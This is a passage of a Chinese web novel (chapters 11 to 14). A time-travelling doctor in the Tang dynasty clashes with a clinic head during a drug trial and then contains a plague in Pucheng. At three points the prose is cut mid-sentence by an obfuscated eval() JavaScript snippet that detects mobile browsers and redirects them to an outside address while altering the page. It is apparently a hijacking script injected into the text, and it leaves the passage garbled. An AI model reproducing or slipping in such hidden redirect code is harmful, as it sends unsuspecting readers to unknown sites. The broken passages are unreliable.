突如其来的一句话让白理一口茶直直喷在地上,他不解地问:“为何?不是说好了是十五例吗?” “为何?你自己反思一下,从验方开始到现在,你要么想纳入不符合条件的病患,要么就自顾自延迟访视,要么就私自给病患施针,现在甚至还让别人代替你问诊把脉。” “白理,我忍你很久了。之前你对我本人有偏见就算了,若是你足够配合我工作我也不会计较太多。” 冯麓深吸一口气,嘴角虽然还是往上扬的,但双眼和语气几乎比冰块还要冷,“但现在你不仅不尊重我、不尊重杨凛,还不尊重验方,更不尊重病患,我不想和你这种人合作。” 她带着两个跟班头也不回地离开仁医堂,走之前还丢下一句话: “你不是很不想看见我吗?很快,你就可以如愿了。” [1]《黄帝八十一难经注》杨玄操(唐)整理。 11. 二人对峙 冯麓的这些话也彻底点燃了白理的理智,他大步挡在冯麓身前,用力平息起伏过大的情绪,问:“你今日生气就只是因为我把王夫人置之不理?但我总不能放下更重要的事不做吧。” “‘就只是’?”冯麓彻底无法维持表面的礼貌微笑,皱着眉说,“你既然答应了我好好配合完成验方就要善始善终,‘更重要’的标准是什么?难道一个尚未痊愈的且状态未知的病患在你心里不够重要吗?” “病情也有轻重缓急,不会立即丧命的人理应为危重的人让出道路来,这就是我的行医准则。我昨日已经上门看过王夫人的病情,她目前的状态非常平稳,晚一点看诊也并不会因此丧命。” 白理微微扬起头颅,提高了音量开始反过来质问冯麓:“验方使我倒要问问你了,在你心里是不是认为验方的病患才是最重要的?与验方无关的人,都不配得到诊治吗?” “好,我现在回答你。”冯麓气得脑袋都“突突”地疼。 “所有病患都很重要,但是你作为验方医师必须安排好时间再离开,这是方案里规定的。 我一不是蒲城官员,二不是仁医堂医师,三不是圣贤,我来这儿就是为了验方,仅此而已。你不想阻止你做其他诊疗行动,我只要我们验方的病患没事,其他任何事儿我管不着也没闲心管!” 白理气得脖颈上的血管都变得清晰,他走近一步居高临下地问:“验方使,若是陛下倒在你我面前,难道你也这么回答吗?你要眼睁睁地看着我不去救他,而是去给一个根本没大碍的王夫人诊治发药,然后说一些即使过两日再说也无关痛痒的话吗?” 冯麓与白理只隔了两拳的距离,她都隐隐可以看见对方眼瞳中迸发出来的怒意。她也环抱着手臂,虽然人比对方矮一截但丝毫没有怯弱。 她抬起下颌狠狠地说:“对,即使陛下就在这里我也这么说。陛下顽疾发作自有别人去救治,医师那么多并不是非你不可。 在我这儿,验方优先于一切,你的时间必须只属于我!” 白理急促地深呼吸,死死盯着冯麓的眼睛,他咬着后槽牙冷冷地说:“冯麓,你真的很自私。” 自私? 冯麓在现代行医这么多年就没有人说过她自私。她感觉自己全身的血液都冲到头顶,脑袋都快疼得爆炸。 她气到笑出声来:“是啊,你说对了,我就是自私。因为陛下只给了我不到两年的时间解咒,我不是来这儿做慈善的,没空陪你们在这儿浪费时间!” “若是解药做不出来,陛下大限之日就是我殉葬之时。白理,你扪心自问,若换作你站在我的位置上,今日还能说出这种话吗?” 此话一出,仁医堂前厅站着的小董、芮雪、杨凛三人全都瞪大了眼睛,就连白理也愣在原地,气红的脸色消退了一大半。 “大人,殉葬是真的吗?” “姐姐……” 杨凛和芮雪露出不知情的慌张眼神。因为除了李麒和高公公,没人知道她与皇帝定下的是什么霸王条款,她也不曾对任何人说起。 白理不由得放软了语气,“你之前怎么不说?” “跟你说有意义吗?难道我跟你说了,你就会违背你的‘行医准则’配合我吗?” “我……”白理欲言又止,看来他自己也不确定。 “如果你是否定的答案,那我说不说都不会干扰你的决定。如果你是肯定的答案,那是因为怕我死,还是真的想为了验方更好地完成?” “白理,这就是我讨厌你的原因。我只需要合作方的尊重,不需要怜悯。” 冯麓瞥了一眼傻站在一旁的两条小尾巴,“杨凛芮雪,我们走。” 蒲城迎来霜降时节,气温骤然下降,冯麓吃完晚饭一个人走到了院子里,坐在躺椅上看月亮。 感到疲倦的时候抬头仰望天空,这是从陆知晓高中的时候就养成的习惯。她那时候还在从科学的角度解释,可能是头颅在前上后下的体位上会减轻大脑耗氧量,从而减少疲劳。 学了医后她觉得那些都是扯淡,只是因为仰望天空可以发发呆而已。 “大人,您还在生气吗?要不要吃点儿红薯?”杨凛走来,给冯麓递来一个暖乎乎的红薯,在触及她的手指时他发现冯麓的手简直冰得吓人。 “大人您进屋暖暖吧。” 冯麓叹口气问道:“我是不是对白理他们要求太高了?” “大人请您不必自责,只是他们身上的担子太重,也不熟悉验方的原则。” “好累,验方的每一日都好累,每一步都不符合我的预想。”冯麓用双手捂住自己的脸,声音沙哑,“若是多给我一点时间,或许会好很多。” “等乔豫出组,我们就去潼关如何?”冯麓闭上眼睛轻声问。 “我们都听您安排。” 不知不觉中,冯麓在月色的沐浴下睡着了。杨凛从屋子里拿出一件长褂,蹑手蹑脚地走到冯麓身边,把她盖了个严严实实。 他无声俯视着冯麓,其实她比自己还小一岁,言行举止却总能让所有人忘记她的年龄。 杨凛是楚地有名的才子,首次进京赶考便进士及第,但臣服冯麓是一件很容易的事情。 他想起两个多月前,第一次见到冯麓的场景。 瘦削的少女站在众选人面前,看上去柔弱得像一支快要被折断的山茶花。而就是这朵山茶花却坚定响亮地告诉他们,自己已初步制成“李氏诅咒”的解药,剩下的验方工作需要所有选人帮助完成。 她心思缜密,每一句话都有理有据,甚至敢一个人跟朝堂那群大臣叫板。 她医术高超,想到的办法总是那么特立独行却立竿见影,若是杨凛或别的小医师私下请教她也从不藏私。 就是这样一个百年难遇的神奇少女,若是验方失败,明年就会从世间彻底消失。 杨凛没办法接受。 他缓缓蹲坐在冯麓的躺椅边,低着头紧咬牙关忍住眼中即将决堤的情绪,心脏第一次感受到被揪起来的痛苦,口腔中也弥漫开闷青的苦味。 “验方必须顺利完成,大人必须好好地活下来。”他低声自言自语,下了某种决心。 第二日早晨冯麓才睁开眼。她不知自己究竟什么时候睡了过去,也不知道自己什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513170|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候被挪回床上的。 “姐姐你醒了?”芮雪笑着问,给她倒了茶水递来,“昨夜是杨大人抱您进来的,怕您着凉,又怕您惊醒之后再睡不着了。” 冯麓点点头,喝了茶问:“那他人呢?” “一大早就去仁医堂了,说是要跟白堂主谈话,也没说要谈啥。”芮雪眨了眨眼睛,满脸疑惑,“姐姐要去仁医堂看看吗?” “不去了,我相信他可以管理好现场。”冯麓低头穿好鞋子,“以后少去仁医堂,我实在太不想见到某人了。” “嗯!我也不喜欢他!” 又是一日义诊,冯麓决定先让芮雪自己独立问诊,她在旁边观察。 今日来了个咳逆的患者,芮雪探了探病患的额头,体温微高,又把了把脉象。 “大娘,您会感到寒冷不止吗?”“是,很冷。” “您有流涕吗?”“之前有,现在好像没了。” “近日秋风渐起易感风寒,大娘您一定要注意保暖。”芮雪微笑道,在纸上书写药方。 面前的大娘晕晕乎乎地应了一声,话还没来得及说就开始剧烈地咳嗽,俯身朝地面吐出一口痰。 “去看看痰。”冯麓指着地面向芮雪说。 芮雪抿着嘴唇,表情很为难,“可是……有点儿恶心,可以不看吗?” “不行,必须要看。痰液颜色代表了病情的性质,一旦诊断错误就会耽误治疗。” 芮雪走到前面蹲下看了一眼,“是黄绿色。或许是风寒快痊愈的信号,您的手札上写了,风寒痊愈前会呈现出‘外感寒、内感热’的特征。” 冯麓点点头表示肯定,她想到什么又补充问道,“对了大娘,您的胸脯有疼痛吗?” “有一点儿。”大娘说着说着就捶了捶自己的胸口。 不对,胸痛不是风寒的症状表现。 冯麓走到大娘身边,“您伸出舌头我看看。”舌象是红的,也并不是风寒的苔白舌象。 大娘再次剧烈咳嗽起来,冯麓立即用袖子捂住自己的口鼻,向芮雪高声大喊:“捂住口鼻!” 冯麓一手挡住口鼻一手把着脉,结合大娘之前的症状来看,这可能是肺炎,还是有传染性的那种。 “大娘您是第一个咳逆之人吗?吃过何物?” “就前几日,当家的难得打回野兔来,吃完第二日就这样了……咳咳……他今日也咳逆不止,但是高热不退无力出门……所以我才出门找大人您的,大人我们这病严重吗?” 野味,咳嗽,高热,无力。熟悉的词汇盘旋在冯麓的头顶上方。 怎么来了唐朝也有传染性肺炎啊……她闭上眼睛无力地叹气。 “您还见过哪些人?”若是密接者少或许还能将肺炎控制在摇篮里。 “咳咳……我是街上卖豆腐的,见过的人数不清呀。” 蒲城完了。 冯麓从脖子上取下天金鱼符,扔给芮雪,“芮雪,拿我的鱼符找县令,告诉他,现在蒲城出现了瘟疫,必须立即封城。若是放走病患把瘟疫传到长安让陛下知晓,那他的乌纱帽也别戴了!” “是!” 12. 突发瘟疫 芮雪在狂奔去县令府上的时候,路上遇到了不少咳嗽不停的百姓,他们满面通红,咳得像是要把肺都咳出来。 街上响起此起彼伏的吐痰声,但他们没有丝毫改变,咳完了继续做着自己原本的事情,卖菜、买肉、闲聊、吃酒,把这当成了秋日里最不起眼的风寒。 芮雪不由得用手帕捂紧口鼻,用最快的速度跑去县令府上。 杜县令躺在榻上懒懒地听芮雪慌张焦急地说着瘟疫之事,但他不以为意,招呼下人来要把芮雪打发走。 芮雪推开随从的手臂,喊道:“杜大人,瘟疫兹事体大,不可忽视啊!” “只不过是风寒罢了,蒲城每年秋天都会如此,不必紧张。”杜县令不耐烦地喝了一口酒,“更何况,若真是瘟疫自有下官跟本官汇报,无需你一介女流操心。” “那若是我有天金鱼符呢?”芮雪掏出冯麓交给她的鱼符,正色道。 “天金鱼符?”传言中五品以上的重臣才能拥有金色鱼符,而皇帝亲赐的天金鱼符在金色鱼符里更属上层,只有二品以上的顶级人臣才能拥有。 杜县令也没想到一个看似平凡的验方使居然会拥有天金鱼符,那就代表着她可以与皇帝直接对话,这是多少官员几辈子也没有的殊荣。 “杜大人,若是不及时封城,让瘟疫蔓延到长安被陛下得知,到那时您又该如何挽救?” 杜县令终于慌了神,呼唤来随从:“你立即传话给江县丞,立即封锁城门,不要让一个人出去!” “是!” 蒲城有南北两个城门,全被江县丞派人关上。 “官爷怎的突然关门了?还没到关门时辰呢!” “是啊,我们一家老小还得赶路去同州呢,能给我们开开门吗?” 守城官兵严肃拒绝:“不可,江大人交代下来了任何人都不准离开蒲城。” “为何不准离开蒲城?” “因为——”官兵面无表情地扫了一眼后面排着长队想出城的人,提高了音量,“蒲城出现了瘟疫,所以,连一只苍蝇也不能飞出蒲城。” 人群顿时炸开了锅,每个人脸上都露出惊慌失措的神情。他们纷纷从城门散开,恐慌和不安就这样从城门席卷到整个蒲城。 而另一边,冯麓跟随那个大娘回到了家,发现他的丈夫已经因为高热不退死在了床上。 “我还是来晚了,请节哀。”冯麓闭上眼睛深深地叹了口气,眼睁睁地看着大娘抱着丈夫还有余温的尸体声泪俱下。 冯麓从包里掏出她从家紧急拿来的草药,“大娘,这几日拿这些煮水喝,若要出门就像我一样用麻布系在脸上出门。如今怕是还有很多人患病,我必须得去救其他人,您保重。” 仁医堂作为蒲城最大的医馆已经人满为患,人流量是平时的几倍还多,一时间像极了一个闹哄哄的菜市场。 “今日怎么有这么多咳逆者?”白理在前厅看着一波一波挤进来拿药的病患,仁医堂还从来没有一日内接诊过这么多人。 “不知啊,我记得昨日仁医堂都还没有出现这么多病患。而且,我观察了一下,大部分病患的症状都一样,高热、咳逆、无力以及胸痛。”杨凛在一旁说道。 小董疑惑道:“难道是最近准备入冬的缘故?毕竟往年大规模染上风寒也差不离是这时候。” 白理抿紧嘴唇,低声自言自语:“这恐怕不是风寒,是瘟疫。” 小董和杨凛缓缓扭过头看向眉头紧锁的白理。乍一听会觉得小题大做,但是仔细思考就会发现他的话不无道理。 普通风寒和这些人的病症不太相同,而且传播速度非常快,这样看着确实更像一场披着风寒外衣的瘟疫。 此时,负责去外县采购药材的杂役从后门进来,神色慌张地向白理禀报:“堂主,两个城门都被江县丞关掉了,据说是因为验方使跟县令汇报蒲城有瘟疫,必须封城。” 不愧是她。白理嘴角轻轻上扬。 “那堂主,我们现在该如何应对?” “你去让包括杂役在内的所有人都用麻布系在脸上,从口鼻处阻挡戾气,我们还要救治病患,万不可自己先倒下。” “药库里的药材各留出一部分作紧急备用,其余的全都用来诊治疫病。若遇到贫寒者无力支付药钱的,先给他们治病。” “仁医堂这段日子不可关门,调集所有医师分时段坐镇接诊,不能让病患跑空。” “是,堂主!” 白理镇定自若地安排好一切后,转身看着杨凛沉声问道:“你不是说跟我说要守护你家大人吗?” “是啊。” “现在她应该在病患最集中的地方,你立即送她回院子,保护好她,不能让她染上瘟疫。” “我马上去!” 杨凛一溜烟儿从后门跑出去,可他去了她们往日义诊的地方,只有案桌和椅子还在原地。他又迅速回了家,结果家里也没看见人影。 “大人,你们去哪儿了?”杨凛焦急得原地打转。 突然,院子里传来熟悉的声音,他立即出了房门,果然是冯麓。 她正用自己瘦弱的身体把一个比她壮实一倍的妇人扛进院子里,漂亮的脸只露出一双眼睛,但眼睛里没有丝毫怯懦只有非比寻常的坚毅。 “大人我来帮您。”杨凛赶紧跑上前,冯麓进房间前瞥了他一眼,淡淡说道:“你是男子不要进来,你现在要做的就是立刻把口鼻遮住。” 杨凛才意识到自己还没来得及遮住口鼻,迅速撕下一段衣袖系在脸上。 冯麓赶去找芮雪的路上又遇到一个因高热不退而昏倒在田野上的乡亲,毫不犹豫就把妇人带来家里救治。 而芮雪也很好地继承了冯麓这种喜欢四处捡病人的良好传统,冯麓前脚刚进屋,她后脚就也摇摇晃晃地扶着另一个比她稍高的少男走进院子。 杨凛迅速接过手臂搭在芮雪肩上的少男,“我来。” 芮雪已经体力不支,擦了擦脸上的汗说道:“谢谢……杨大人。” “先别谢,我是为了让你腾出手去帮冯大人的。” “但还是要……谢谢杨大人。”芮雪面罩上方的眼睛笑得像两道月牙。 屋子里,冯麓让妇人躺在左偏房的榻上,一边快速生火,一边对外面喊道:“杨凛,你去打两桶温水来放在门口。芮雪,你把病人放到右偏房,按我说的给他施行角法[1]。” “是,大人!”“是,姐姐!” 冯麓将妇人翻转,以俯卧位趴在榻上。她掏出一个竹筒,用筷子夹住一块被燃烧过的艾绒在竹筒内晃了晃,迅速取出艾绒后立即扣在妇人的后背上。 “第一步,肺俞。” “第二步,身柱。” 冯麓紧接着掏出一根细长的银针,“第三步,施针,点刺大椎见血后行角法,一盏茶便可。” “第四步,在病患背后涂上茶油,游走膀胱经。” 过了两刻钟,杨凛已经烧好水,将两桶温水放在门外。 冯麓擦了擦额头上的汗,又对门外待命的杨凛说:“杨凛,现在你去用一两桔梗、二两甘草,以水三升煮取一升,去滓拿来[2]。” “可是我们家没有桔梗了,隔壁倒是种了不少桔梗。” 冯麓垂眸,思考了一会儿后还是说:“先摘来吧,晚点儿你给白理补上银子。” 毕竟救人重要,反正和白理关系已经很糟糕了,不差这一株桔梗的事儿。 冯麓从门外提进温水桶,打湿手帕后轻柔地把妇人的身子全擦了一遍。很快,妇人不停地发汗,高热总算退了下去。 “芮雪,那位公子退热了吗?” “退了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513171|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 冯麓深深呼出一口气,“那就证明这个法子有用。等会儿杨凛把药汤煮好,你和他一起给两人喝下,我先去一趟仁医堂。“ 傍晚时分的仁医堂里,前厅和院子全都铺满了席子,席子上躺满了病患。柔柔的夕阳洒在众人脸上,却没有任何美感只有死气沉沉的残酷,因为其中一些人恐怕连今晚都熬不过去。 白理和几个医师戴着面罩游走在众人之间,不停地把脉、施针和喂药,而另一边的煎药师扇火都扇出虚影了。 而有条件来仁医堂治病的还是少数,大多数人都只能喝点热水,试图靠自己熬过去,所以冯麓走在路上四处可见咳嗽不止的摊贩和已经昏倒在街边的老者。亲戚说这么说 只是一日,蒲城就变成了病毒肆虐的魔鬼城。 突然,躺在她面前的病患剧咳不止,痰液似乎卡在气管里难以呼吸。 冯麓立即蹲下,把病患扶起呈坐位,用空心掌自下到上、自外到内地叩击病患的后背。 “咳咳——” 冯麓的叩击和病患的剧烈咳嗽声引起了不远处白理的关注,他向这边快速走来。 最后,病患在冯麓的叩击排痰法下成功排出黄绿色伴血丝的痰液,没有陷入窒息的风险中。 白理问:“你怎么来了?” “你有空问我为什么来,不如拿东西把所有病患的头和上半身垫高,他们这么躺着不便排痰。”冯麓淡淡地说。 白理立即转头向几个杂役吩咐下去:“去拿点秸秆或者干草来。”他也蹲下身来,看着冯麓说:“多谢,我确实没有想到这一点。” 冯麓眼神绕过白理,望了一眼其他病患们身上的针,问:“你们这里的病患都退热了吗?” “没有,这场瘟疫来势汹汹,高热难退。” 冯麓从自己的斜挎包里拿出银针,“我方才帮助我院中的两个病患成功退热了,让我来吧。” 白理行角法,冯麓行针灸,一起为仁医堂的病患们进行泄热解毒。其他的医师观摩过后也效仿其法,纷纷尝试起来。 不知不觉,他们忙到了深夜,好在所有病患都成功退了热。 “多谢白堂主协助。”冯麓筋疲力尽地坐在地上,额头和脖子上的汗都没力气擦。 白理看着劳累了一天的冯麓,对前一日说出的那些话更为愧疚,“很抱歉昨日对验方使说的那些话,还得多谢验方使今日不计前嫌救蒲城于水火。” “我没那么伟大,只是不希望验方前功尽弃罢了。昨日我也有不对的地方,验方时没有考虑到仁医堂医师的意见和感受。” 冯麓抬头,看着被浅浅的云彩遮住的月亮,以往尖锐冷漠的语气变得淡然许多,“白堂主的确是一名仁医,但实在不是我想要的验方医师。若能顺利挨过这场瘟疫,我就和杨凛芮雪他们去潼关了,或许在那里验方更合适。” 冯麓站起身来,想回家看看那两条小尾巴。“哎?月亮怎么掉下来了?”她眼神迷离地指着天空。 “验方使你没事儿吧?”白理担忧地问。 冯麓的世界忽然天旋地转,视线也变得模糊不已。随即而来的是一阵温暖和柔软的黑暗,和白理那担忧焦急的声音。 “验方使!冯大人!” 可能太累吧,冯麓是真的睁不开眼睛。但她还没有失去意识,可以听见外界的声音。 接着,她感受到白理正在抱着她放到一张软榻上,然后给她搭上了脉。 小董跟在旁边急忙问:“堂主,冯大人她也染上疫病了吗?” “奇怪……”白理的声音变得迟疑。 “她居然也是‘气不摄血证’。” 注释及参考文献: [1]角法:古代拔罐的名称。 [2]桔梗汤:最早可溯源于《伤寒论》张仲景(汉)。 13. 疫情防控 冯麓醒来第一眼看到的就是芮雪和杨凛两个圆圆的脑袋,两人泪眼婆娑地蹲在冯麓的塌旁,一个哭着喊“大人”,一个哭着喊“姐姐”。 “呜呜呜大人还好没染上疫病,可真是吓死我了。”杨凛用手擦掉脸上的泪水,惊魂未定的模样。 芮雪抽泣不停,说不出话只能跟着点点头。 冯麓挣扎着起身,感觉自己的头晕乎乎的,喘不上气。此时,她肚子传来一阵“咕噜噜”的响声。 “抱歉,实在太久没吃东西了。”她尴尬地笑。 “大人不必道歉,是我们照顾不周,让大人劳累一整日都没吃东西。”杨凛迅速起身,“大人您稍等,我马上去准备!” 杨凛说着说着就往门外跑,正巧遇到白理端着一个碗从门外走进来,两人差点儿就撞个满怀。 “对不住,白堂主。” “你走路看着点儿,好不容易熬的。”白理护着自己手里的参鸡汤,不悦地扫了一眼杨凛。而后者丝毫不客气,直截了当地问道:“白堂主,这是给我们大人的吗?” “是……” “那就多谢白堂主了!”白理话音刚落,杨凛就干脆利落地把鸡汤抢来,恭维地微笑,“您先去忙,我和芮雪会照顾好大人的。” 杨凛把鸡汤小心翼翼地端到冯麓榻边,还吹了吹,“大人辛苦了,喝点儿鸡汤补补。” 冯麓小啜了一口。 暖暖的鸡汤还散发着浓郁的香气,切碎的肉块也很鲜嫩,汤水里还可以尝到黄芪、当归、大枣、枸杞和党参的味道。 “我方才竟然在大量药材里找到了极少量鸡肉,真是不可思议。”冯麓用勺子搅拌着鸡汤悠悠地说道。 白理不自觉被这句无厘头的话逗乐,“看样子恢复得不错,都有力气说笑了。” “这是白堂主特意为我熬的十全大补汤吗?”冯麓扭头注视白理,把“特意”那个词说了重音。 白理躲开她的眼神,清了清嗓子,不自然地回答:“给其他病患熬的,顺手给你舀了一碗罢了。” 冯麓挑眉,似笑非笑地反问:“是吗?但是瘟疫的病患全都需要凉血泄热,好像不应该用补气补血的药材吧?” 白理的谎言实在太过于拙劣,尤其是在冯麓这样聪明的人面前。他双颊一热,耳朵根也红起来。 冯麓一口气喝完那小碗汤,从榻上走下来,穿上褂子就要出门。当然,屋里的三个人都不允许她此时出去。 “你们拦我做什么?” 对方一辩芮雪拽着冯麓的胳膊,“姐姐,你才刚刚苏醒,不适合劳累。” “这不是刚喝了鸡汤吗,我现在好得很,你看——”冯麓还原地蹦哒两下,以表示自己已经恢复了体力。 对方二辩杨凛说道:“外面病患一直在增加,大人本就刚苏醒,可能会染上疫病。” “正是因为知道现在外面病患一直在增加所以我才要出去,我不仅是陛下的验方使,我还是大唐的医师,没有坐视不管的道理。” 对方三辩白理干脆直接挡在门口,“验方使,你知道你的的脉象是‘气不摄血证’吗?” “我从小营养不良习惯了,刚喝了你的大补汤暂时死不了,放心吧。”冯麓推开白理,系上麻布口罩就往楼下跑。 前一晚的病患已经退热,所以简单地开了止咳化痰药就让他们为新一批高热不退的病患腾出位置。可仁医堂就那么大,即使把白理和冯麓自己的院子全部拿来安置新的病患也不够用。 瘟疫像一场不断滋生蔓延的火灾,只要不把根源切断就会不停地波及到更多的人。 冯麓走到街道上,仍然看到许多病患边咳边走,口罩没戴,也丝毫不把疫病当回事儿。在病毒面前,这样的人体是最好的传播媒介。 要是靠普通老百姓提升意识那或许这辈子都消除不了瘟疫,那就只能让官府来介入干预。 冯麓亲自去了杜府,跟杜县令长篇大论地述说了以现代医学理论为基础的瘟疫防治大法。 不过她一个现代人肯定不能跟他说什么病毒细菌啊、气溶胶传播啊、酒精消毒啊这些东西。所以她将肺炎学说改头换面,变成古人容易理解并接受的“玄学”。 “杜大人您可知瘟疫实则为何物?” “何物?” “瘟疫实则乃会附身的邪祟!在附身前它们会悄无声息地遍布街市及房屋,潜藏在每个人的周围,再找机会从人的口鼻处附身。或许,此时您手上就正有一只沉睡的邪祟呢!” 冯麓滔滔不绝,还配上了更为生动的肢体语言,说得有鼻子有眼儿的。 杜县令果然仅花零秒就接受了这邪祟的说法,面色惊恐地把自己的双手左看右看,声音颤抖地问:“那那那……依冯大人所言,下官该如何赶走这邪祟?找大师来做法?” “不不不,做法是赶不走的,只能灭杀!大人请看——” 冯麓指着杜县令脚边那坛飘着酒香的佳酿,“邪祟在附身前会纠缠在人们的手上、衣褂上或者鞋履上,它们十分顽强不怕做法只怕烈酒,所以我们须得在邪祟附身前用烈酒灭杀它们!” 杜县令半信半疑地问:“冯大人,你确定用烈酒可以彻底灭杀邪祟?” “其实彻底灭杀邪祟得用一套组合拳:先系上麻布阻挡邪祟入侵口鼻,人与人之间须得保持三尺距离以保证疫者的邪祟不会转移至自己身上,最后一招则是用酒酿洗衣以及擦拭手掌将其杀灭。 如今蒲城内染病的百姓越来越多,杜大人作为官府须得尽快采取行动进行控制,否则陛下得知怪罪下来,你我都难辞其咎。” 冯麓露出胸有成竹的神情,“大人若今日信我一回,明日便可减少一半的疫者,不出七日瘟疫便可控制住。” “信,下官当然信。但那已经染病的百姓又如何处理?该如何灭杀已经附体至人身的邪祟?” “那这就是我们医者的职责了。把所有染病之人集中起来,送去仁医堂以及白堂主和我的院子,邪祟不死万不能离开。” 杜县令听到这话十分震惊,瞪大双眼问:“将病患送去堂主和大人自己的院子?那大人不怕邪祟吗?” “不怕,”冯麓口罩上的一双眼睛闪着坚定的光芒,她在口罩下无声地微笑,“因为我们医者的存在就是为了替百姓斩妖除魔的。” 冯麓前有天金鱼符,后有神医之名,杜县令对冯麓的话那是言听计从。 江县丞依据冯麓的要求准备了五百个麻布口罩,亲自带领下属给百姓们一一分发,冯麓跟在旁边,仔细地嘱咐他们一定要多喝糖盐水。 而卫主簿则亲自与官兵一同巡街,一边宣讲驱除邪祟之法,一边将街市上的百姓劝回家。 “立即归家,禁止在外进行交易!” “大爷大娘请回家歇着,不要在外闲聊!” “哎哎哎你们几个熊孩子赶紧回家,不要在外打架!” 平日热闹的大街小巷,现如今在官府的管控下变得鸦雀无声,就好像整个蒲城都被按下了静音键。 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513172|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多百姓一年到头都没有时间休憩,这次瘟疫意外降临,他们也终于有了机会与家人好好相处。 这边新的病患少了许多,顺利退热的病患也出院进行居家隔离,仁医堂里的人总算是开始减少了。 蒲城只花了五日瘟疫就被控制住,瘟疫发生后半个月内不仅没有外流病患,本县死亡的人数也只有不到五个。 最后一个瘟疫病患出院那天,杜蜻最后一次随访的时间也到了。 “冯大人~”杜蜻四处张望寻找着冯麓的身影,“我来找您啦~冯大人~” “你叫破喉咙她也不会来的。”白理冷冷地瞥了他一眼,没好气地坐在他面前。 杜蜻看见白理迅速化身变脸大师,不耐烦地抱怨道:“上次是你,这次又是你,我真的不能换个医师吗?” “不能,”白理翻开评估表,嘴上催促着,“赶紧的,我忙得很,还有很多患者要处理。” “那你就去忙你的事情啊,不用管我的。” “不行,我答应了验方使要好好完成接下来的验方,天塌下来我也会把你的随访完成。” “哎你这臭狗熊怎么听不懂人话啊!我都说不想看见你了!” “臭狗熊?我?”白理纳闷地指着自己,从小到大还是第一个人这么说。 杜蜻哼哼道:“对啊,你长得简直就像狗熊的亲生兄弟!” “你!手给我——”白理黑着脸捉住杜蜻的手强行把脉,两个人的问诊也像极了人机对话,能一个字说完绝对不用两个字,空气中充满了随时都会爆发的硝烟味。 一盏茶的时间后,这场随访终于在不情不愿中结束了。 “你可以去拿药了。” “苍天,总算是不用再看你这头臭狗熊的脸了!”杜蜻露出如释重负的笑容,起身整理了一下自己的长袍,对着楼下大喊:“冯大人~我请您来我们府上吃饭~~” 白理见势立刻追上那家伙,“喂,你别去打扰她,她很忙去不了。” “她敢拒绝?” 杜蜻绕来绕去,终于看见了冯麓的身影。她穿着极为朴素,与那些病患混在一起根本看不出来区别。 “冯大人,我想请您去府上吃饭!”杜蜻眨了眨眼,期待地说。 冯麓头都没抬就回答:“我不去。” 白理在一旁靠在柱子上向杜蜻挑眉,眼神里分明就是在说“看看,被我说中了吧”。 “冯大人,县令的面子也不给吗?” “杜县令?”冯麓抬眼问。 杜蜻随即展开笑容,“我爹说了,他要亲自宴请,以对冯大人治疫有方表达感谢。” “你确定只是吃饭?没别的?”“那是自然!” 冯麓起身拍了拍手上的艾绒,点点头说:“那行吧,我去。” 白理脸上的得意转移到了杜蜻的脸上,杜蜻十分挑衅地瞪了白理一眼,好似在说“瞧瞧,谁才是真正的赢家”。 杜蜻左等右等终于等到了晚上,他特意换上了一件绣着金纹的绀青色长袍,熏了香,早早地来到会客厅。 “冯大人,您来蒲城这么久都没有请您来府上吃饭,是下官招待不周。” “无妨。” 是我爹和冯麓的声音!杜蜻惊喜万分,整理了一下发冠和衣领腰带,正要挺直胸膛以最好的姿态迎接进门的冯麓,就看到了一个他最不愿意看到的人。 “白理?你怎么也来了!”杜蜻大惊失色地喊道。 “自然是县令大人请的我了。” 14. 数据清理 “自然是县令大人请的我了。” 挑衅,绝对的挑衅。杜蜻甚至从白理那淡若山泉的笑容里看出了得瑟的意味。 白理为了这一次宴请实在是煞费苦心,一改平日那穿到包浆的玉色麻衫,换上了从未见过的青古色圆领长衫。 “你个傻小子怎么如此没有礼貌呢?还不见过白堂主?” 杜蜻紧紧咬着后槽牙,用手指着白理,怒吼:“爹,我不喜欢他!不想在我们家里看见他!” “你小时就撒泼打滚,如今怎能还如此无理取闹?”杜县令怒目而视,指着杜蜻警告,“这次蒲城能够平稳渡过瘟疫这道难关,白堂主功不可没,你若是还拎不清,往后三个月的月钱就别想要了。” 杜蜻只好没了脾气,伸手请两位客人入座。 虽然白理心里很排斥来县令府上做客,但他实在不放心冯麓独自前来。不过,冯麓十分无所谓的模样,任凭县令问什么都只用“嗯嗯”回答,除了埋头苦吃什么也不说。 白理满心满眼只顾着看冯麓夹了什么菜,自己都没怎么吃。这也是他第一次和冯麓在一起吃饭,心里感叹冯麓狂吃不胖的神奇体质的同时,还默默记下了她夹得最多的菜品。 